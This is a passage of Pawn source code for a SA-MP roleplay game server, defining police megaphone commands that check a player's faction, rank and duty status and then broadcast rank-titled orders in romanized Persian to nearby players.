					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
					//	strmid(Megaphonetext[playerid], 0, 255);
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		*/
		
		
		
		
		
				if(strcmp(cmd, "/ms", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /MS <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You must be driver of vehicle.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty or you aren't cop.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has {00FF00}received{BFC0C2} your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player {FF0000}didn't received{BFC0C2} your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[NG Leader %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s: < Bazikon {FF0000}%s {FFFF00}dar vasile naghliye man G konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		
		
		
		
		if(strcmp(cmd, "/mv", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /MV <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(GetPlayerState(playa) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: The target must be driver of a vehicle.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty or you aren't cop.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has {00FF00}received{BFC0C2} your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player {FF0000}didn't received{BFC0C2} your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[NG Leader %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s: < Bazikon {FF0000}%s {FFFF00}vehicle e khod ra harekat dahid va yekjaye monaseb park konid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		
		
		
		
		
				if(strcmp(cmd, "/mt", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /MT <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(GetPlayerState(playa) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: The target must be driver of a vehicle.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty or you aren't cop.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has {00FF00}received{BFC0C2} your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player {FF0000}didn't received{BFC0C2} your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[NG Leader %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s: < Bazikon {FF0000}%s {FFFF00}az vehicle e khod piyade shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		
		
		
		
						if(strcmp(cmd, "/mf", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /MF <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
		   if(GetPlayerState(playa) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_YELLOW2,"The player isn't on foot."); return 1; }
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty or you aren't cop.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has {00FF00}received{BFC0C2} your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player {FF0000}didn't received{BFC0C2} your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[NG Leader %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s: < Bazikon {FF0000}%s {FFFF00}az vasate khiyaban kenar beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		
		
		

		/*
		if(strcmp(cmd, "/mpiade", true) == 0 || strcmp(cmd, "/mp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Mpiade <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s {FFFF00} Bezanid Baghal Va Piyade Shavid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
